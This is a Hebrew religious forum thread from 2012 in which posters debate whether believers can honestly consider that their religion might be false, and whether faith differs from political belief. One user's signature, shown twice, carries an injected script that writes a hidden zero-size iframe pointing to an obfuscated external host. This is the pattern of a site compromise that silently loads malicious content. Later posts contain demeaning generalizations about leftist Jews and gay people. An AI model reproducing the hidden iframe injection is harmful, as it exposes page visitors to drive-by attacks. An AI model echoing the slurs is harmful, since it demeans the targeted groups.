|
|
| נשלח ב-13/2/2012 23:57 |
|
| |
משאיר מקום לענות לי...
|
|
|
|
| נשלח ב-14/2/2012 05:07 |
|
| |
כמו תמיד, מענין ומעשיר מאד לקרוא אותך.
כמו לפעמים, ענית חלקית וקצת הסטת את הדיון.
כמו שהוגדר באשכול זה,
השאלה היא אם אנו מסוגלים לחשוב 'באמת',
כשהאמת הוגדרה כאן כך:
יש בנו מוכנות לקבל את שתי אפשרויות התשובה?
האם לפני שחשבנו, כשהצבנו לעצמנו את שתי התשובות האפשריות לדיון,
היינו מוכנים לקבל את שתיהן?
אתה מוכן לסמן ב'וי' את האפשרות שהדת בדיה, אם תגיע למסקנה זו?
טענת יתכן היא, אם הבנתיה ואני חושבת שהבנתיה,
שאם נדון עם עצמנו בצלילות מוחלטת ללא מסקנה מוכתבת מראש (בידי כל מיני צרכים והרגלים ופחדים פנימיים),
נגיע למסקנות אחרות.
אני לא יודעת לאיזו מסקנה נגיע,
אבל כן יודעת שאין בי מוכנות להגיע למסקנה ההיא (שמפריכה דת)
מכמה וכמה וכמה סיבות טובות, שאינני בושה בהן.
אכן, איני מוכנה להגיע למסקנה ההיא
בין היתר, משום שכמו שכתבת, אני פנימית - נזקקת וצריכה לדת ולאמונה בנכונותה.
זו רק סיבה אחת.
יש עוד סיבות ראויות מאד.
התרשמתי מאד ממה שכתבת אודות 'התגלות' איישת שחווים
והתפוגגות השפעתה לאחר זמן
אבל כדאי לשים לב
שאין מדובר באשכול זה על אמונה בהשם
אלא על קבלת הדת, אמונה בתורה ובמצוות מסיני .
חשוב מאד לחלק בין הדברים.
האמונה בהשם ובהנהגתו - אצלי לפחות -
יכולה לעבור בשקט גמור את הדיון עם שתי האפשרויות הפתוחות.
כן, יכולה לדון בה עם עצמי עם אופית הפיקציה בלי כל בעיה,
ולהגיע במהירות ובקלות למסקנתי שיש אלוקים ובורא ומנהיג בעולם ובחיי.
ואם יש 'התגלות' אישית, הרי שהיא התגלות אלוקית, לא של התורה והמצוות. לא כך?
מעין שמיים בתוכנו, לא רק בתורה. מעין סיני אישי בתוכנו.
בשאלת הדת, אינני מוכנה לדון עם אופציות פתוחות, וטוב לי בכך, ב"ה.
תוקן על ידי לומדתלומדת ב- 14/02/2012 05:10:14
 |
|
|
|
|
| נשלח ב-14/2/2012 09:03 |
|
| |
אני חוזר:
ואם אין בנו מוכנות, האם אין אנו מקשיבים? האם אין אנו בודקים?
את יודעת מה, אולי זה תלוי באדם.
הביקורת הזו, עכשו אני פתאום שם לב, היא בעצם, הפוך על הפוך, יישום של גישת המוסר של ה"נגיעות". גם המוסרניקים וגם ייתכן שוללים חשיבה חופשית, וכופפים אותה ליעדים רצויים מראש, אולי באופן בלתי מודע כך שאי אפשר להתפטר מזה.
אני מסכים שאדם בהחלט צריך להיות ער ומודע לדברים שהוא מסתיר מעצמו. הסיפור על הסבא מנובהרדוק והמטריה, למשל, הוא בעל ערך (הסבא חשד שהוא רוצה לנסוע לעיר מסויימת לפתוח ישיבה כי חמד מטריה שנמכרה בחנות באותה עיר).
אבל עד כמה זה מעוות?
אני מתחיל לחזור על עצמי. את כותבת שיתכן מעלה את הספק הנורא שאיני אובייקטיבי כפי שאני רוצה להיות. זו טענה שאי אפשר להפריך ואפשר רק ליישם לבדיקה עצמית. כי זה כל האדם.
(אני סבור שניתן לדבר על אמונה, למשל, עם כל אדם, גם עם מי שטוען לכפירה, ואיני מציע לו לבדוק את נגיעותיו. אני כן מזמין אותו לשקלל את מה שאנו יודעים. יש דיון שמתמקד בתוכן ולא במניעים, ומסתמך על היכולת האנושית לחשוב לפי כללי הלוגיקה ולבצע אנליזות. ודי לנו בזה. עובדה שהמדע מתקדם).
*** חילקת בין דת במובן של אמונה בהשם לבין מסורת והלכה.
ושאלת, כמדומה, דווקא על החלק האחרון.
והנה, דווקא כאן יש לי התמודדות כזו על בסיס יומיומי.
ככל שאני מעיין ולומד, כך אני נתקל בפרשנויות שמקוממות אותי. שמבוססות על הנחות יסוד שלא נכונות בעיני. שאיני רוצה להאמין שהן באמת רצון השם, שהן חלק מן המסורת, שהן אפילו מצויות בתלמוד אם לא כופים אותן עליו, או שהן שגגה של דורות ראשונים שהועצמה בידי אחרונים.
(כמובן יש לי כאן הרבה עבודה עצמית על יחסי לראשונים ולאחרונים אבל לא זה הנושא).
אז לחשוב שאני נותן אמון רב מדי במסורת?
לא אני.
אצלי זה מאמץ להפריד בין המסורת בטהרתה לבין מה שאנשים, אפילו אנשים גדולים, עושים ממנה.
_____תוקן סדר המילים במקום משמעותי. טעות שטעיתי.____________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 14/02/2012 09:05:23
 |
|
|
|
|
| נשלח ב-14/2/2012 09:17 |
|
| |
| מיימוני כתב: |  | צענע
בדיון בינך לבין פרוטגורס כתבת:
המהות של דת היא שהיא מוכתבת משמים על ידי גורם עלום ובלתי נראה שמעניש על כל סטיה בענשים קשים.
הדת מקורה בספר עתיק שעבר במסורת מדור לדור.
הדת אינה מאפשרת חשיבה עצמית כי הכל מוכתב מגורם שמימי שאין לשאל עליו שאלות .
ועוד מאפיינים מהותיים שלא כאן המקום להאריך בהם.
שום דבר מהדברים האלה אינו קיים בגיבוש דעה שכל מהותה היא היותה אנושית.
זה תיאור לא רע בכלל של דת, אבל לא של כל הדתות.
אפילו לא תיאור של היהדות לפי כל גרסאותיה המעניינות...
_________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מה בתיאור זה אינו הולם את היהדות ?
ומעניין למה אתה מתכוון באמרך: "גירסאותיה המעניינות...."
תוקן על ידי צענערענע ב- 14/02/2012 09:19:02
|
|
|
|
| נשלח ב-14/2/2012 15:07 |
|
| |
הרב מיימוני, אינני יודע אם להתייחס להשוואה לנובהרדוקר כמחמאה או כהערה, אך לא "נגיעות" הן עניינו של אשכול זה. שאלת היכולות לחשוב ולשנות דעה נידונה בכמה אשכולות, כפי שציין מרכא. באשכול זה אני מצביע על משהו שונה. אני מצטט את עצמי שוב. שים לב לדברים שיצאו ממקלדתך. (ההדגשות שלי). "אבל אני כן מאמין, אני רוצה להאמין, אני יודע שיש לי ספקות אבל אני מפרש אותם כניסיון, כחולשה, כמה שלא יהיה, ולא אניח להם לשבור אותי". אתה מנסח את טענתי בצורה מעולה. רוצה להאמין. ספקות הן ניסיון. אין להישבר. אתה מכיר עוד דעה בכל תחום שהוא, שאתה מתייחס אליה בצורה כזאת? כפי שכתבת, "ראוי לשאול למה". מסתכלים באורייתא ובוראים דעה. האם אינך רואה שהתייחסות היא בהגדרה כאל מה שרק צריך למצוא את הדרך כדי להאמין וכל השאלות איתן אנו עושים שימוש בחיי היום יום, הופכים להיות ניסיונות שיש להיזהר לא להישבר מהן. גם אם נקבל חוויות אמונה אישיות ככלי להכרעה, עדיין אין זה מוביל כלל לדת משה וישראל, כפי שציינה כבר לומדת.
|
|
|
|
| נשלח ב-14/2/2012 15:44 |
|
| |
| ייתכן כתב: |  | | אתה מנסח את טענתי בצורה מעולה. רוצה להאמין. ספקות הן ניסיון. אין להישבר. אתה מכיר עוד דעה בכל תחום שהוא, שאתה מתייחס אליה בצורה כזאת? |
|
בהחלט שכן.
לצערי אני נאלץ שוב להשתמש בדת התל אביבית כדי להמחיש:
אברום בורג רואה שמתפוצצים אוטובוסים, הוא רואה ושומע את כל אמהות המתאבדים - בלא יוצא מן הכלל - מתפארים במעשה בניהם, העם הפלסטיני כולו מעודד אותם ומצדיע להם, ואברום היקר מתמלא כולו ברוח קדושה - מבחינתו זו תכלית המוסר האנושית בהתגלמותה - ואז הוא עוצם עינים ואומר: זה הכל פרנויה ישראלית! הפלסטינים כלל לא שונאים אותנו!
גדעון לוי רואה שאין פלסטיני אחד המוכן לומר בפה מלא כי 'העיר תל אביב שייכת לעם היהודי' וכולו מתמלא ברוח טהרה עילאית וצועק בקול ניחר: הפלסטינים רוצים שלום וישראל היא היא סרבנית השלום.
הוא רואה פלסטיני מגורש מביתו - הוא בוכה. הוא רואה מתנחלים, אמהות על טפיהן, מגורשים מביתם - הוא רוקד וצוחק.
אתה חושב שהמציאות העגומה הטופחת על פניהם, לא מהווה עבורם 'ניסיונות' ? היא לא גורמת להם ל'ספקות' או ל'משברים'?
בודאי שכן.
אלא מה? הם מעדיפים מתוך בחירה להתעסק ולהאמין במצוות, בקדושה, ב'עשה טוב' רוחני, מאשר להיות חלילה חילונים מרוקנים מתורה ומצוות (בנוסח ת"א).
הם מוותרים על חיפוש האמת כי הדת האופנתית יותר חשובה להם.
|
|
|
|
| נשלח ב-14/2/2012 15:54 |
|
| |
פרוטזה.
מה אתה משווה דעות לדתות ?
|
|
|
|
| נשלח ב-14/2/2012 16:03 |
|
| |
אל תאכזב, מעמלק אנו מצפים לפחות שיקרר את האמבטיה. 
|
|
|
|
| נשלח ב-14/2/2012 16:20 |
|
| |
אז, זהו, בתור עמלקניק אני מבקש ממך לא לערבב לנו את חשיבתנו ההגיונית המבדילה בין דתות חשוכות לדעות מתקדמות. ראה הוזהרת.
|
|
|
|
| נשלח ב-14/2/2012 16:29 |
|
| |
פרוטגרוס, קיצונים חסרי טעם יש והיו תמיד. מה טעם למצוא עוד שוטים וכי על כך תהיה תפארת הדת? מה בדיוק אתה רוצה להסיק מכך. בכל אופן, אפילו הם לא משתמשים בפירוש במילים מעין אלו. זה אומר שהם עדיין חשים בצורך לנמק. העובדה שהם כושלים בכך, או שהם עיוורים למציאות, אינה קשורה לטיעון האשכול. (במידה מסוימת אני מבין את השקפת עולמם, למרות המציאות. במילה אחת, מבחינתם הם מכוונים למוסר גבוה מאד כלפי עצמם וכל השאר טפל. אני סבור כי זה לא נכון ולא עומד במבחן המציאות ומנוגד לשכל הישר ולשרידות, אך זו טענה שניתנת להיטען בכלי הטענה הרגילים). מעבר לקיצונים, הן השמאל השפוי והן הימין הלא משיחי, טוענים לעניין. יש צדדים לכאן ולכאן. אם תפתח אשכול, אציג את שניהם. אף אחד מהם לא מדבר על "רצון" לחשוב כך או כך. הדתיים, גם הלא קיצוניים, אינם מסוגלים לראות את אי היתכנות הדת כאופציה רלוונטית. הם אף אומרים זאת.
|
|
|
|
| נשלח ב-14/2/2012 16:38 |
|
| |
לפני מספר שנים כינה הרב עובדיה את אברהם בורג- העגל- ביינתיים אברום התבגר!
|
|
|
|
|
| נשלח ב-14/2/2012 16:42 |
|
| |
אבא של אברום אמר את זה עליו. ירוחם בטח הכיר את שניהם מהפלמ"ח.
|
|
|
|
| נשלח ב-14/2/2012 18:33 |
|
| |
ייתכן
אתה טועה. המונח 'פרנויה ישראלית' הוא לא נחלתם של קיצוניים, הוא מונח שגור על כל מי שמזוהה עם השמאל.
לדעתי, אין דבר כזה שמאל קיצוני ושמאל מתון, יש שמאל שורשי וותיק (80% מאנשי האקדמיה, הבוהמה והתקשורת) ויש שמאל של 'מתחזקים' או 'בעלי תשובה'. מה שיוסי ביילין ועמוס עוז חושבים היום, יחשבו בעוד 3 שנים כל הבעלי תשובה והמתחזקים של השמאל.
ברור שהדבר קשור למוסר, אם זה לא היה מוסר - זה לא היה דת. אם מחר תקום למשל תנועה, אשר תדגול בהשמדת בני אדם לטובת בעלי חיים, אין ספק שהמניעים הם מוסריים, מוסר מעוות אבל מוסר - במילים אחרות דת.
תנועת הקומוניזם בזמנו, גם היא הייתה דתית. ועוד איך דתית. הזוג היהודי יוליוס ואתל רוזנברג אשר ריגלו בארה"ב למען הקומוניזם, הם לא עשו זאת ממניעים פוליטיים, הם עשו זאת ממניעים דתיים.
אם מישהו היה עומד בשער ומוכיח, כי לא תתכן שום אפשרות בעולם כי תהיה מוטיבציה לאנשים לעבוד מבלי שהם יהנו מהכנסות העבודה - פרי עמלם! מישהו היה מסכים לשמוע את 'הפירכה' הלוגית הזו? האם ניתן לפתור את כל תחלואי הדת הקומוניסטית והלהט המטורף שלה, בעובדה שהם היו אנשים קיצוניים?
אגב, כמו בקומוניזם, גם תנועות השמאל העולמיות, חלקם של היהודים בהפצתו ובהתפשטותו, הוא מרכזי ומשמעותי ביותר, הרבה מעבר למה שנראה. השמאלנים של היום הם בנים לקומוניסטים של אז. יש משהו בוגדני ומעוות, סוג של יהודה איש קריות, בעם היהודי, אני מקוה שרק באלו אשר נטשו את ערכי היהדות.
אין לי הסבר הגיוני לכך, אבל לפעמים זה נראה, כי דוקא המשכילים בין היהודים, לא מסוגלים לחיות בלי דת. וכאשר אין דת מאוזנת, ערכית, סטרייטית. תמצא על אתר במקומה: דת מעוותת, סוטה, הומולסבית. אבל הלהט הדתי, תמיד ישאר אותו להט.
 |
|
|
|
|
| נשלח ב-14/2/2012 18:52 |
|
| |
פרוטגרוס סלח לי דבריך חסרי טעם. אתה משווה את תורתך לתורת הזוים שמאלנים סהרוריים או מושחתים ?!! אל תתפלא שיבוזו לך ולתורתך.
תרבות המערב דינמית ומשתנה, הבאת דוגמה טובה של הומולסבים, בעקבות מחקרים של פסיכולוגים פסיכיאטרים ועוד שישנם מסה של אנשים עם נטייה בלתי משתנית, המערב שינה את ערכיו בעניין. וכן הלאה.
השוואתך להתחפרות הדתית בקוראן בברית החדשה או בתנך אינה ראויה לתגובה. ואם זו האפלוגוטיקה הדתית, חבל לבזבז עליה שקל.
|
|
|
|
| נשלח ב-14/2/2012 19:04 |
|
| |
נראה לי שוב שלא כ"כ חשוב ההגדרות המדוייקות
של דת או דעה וכו'
כל מה שפרוטגורס אומר
הוא שהרוב העממי תמיד מתעקש על העקרונות בלי להבין
והמיעוט האינטליגנטי חותר להבנה
(אינטליגנטי - לא בהכרח מי שבאקדמיה או בטלויזיה)
ולכן אין שום יחוד בדת יותר משאר דעות / עקרונות/ הרגלים
|
|
|
|
|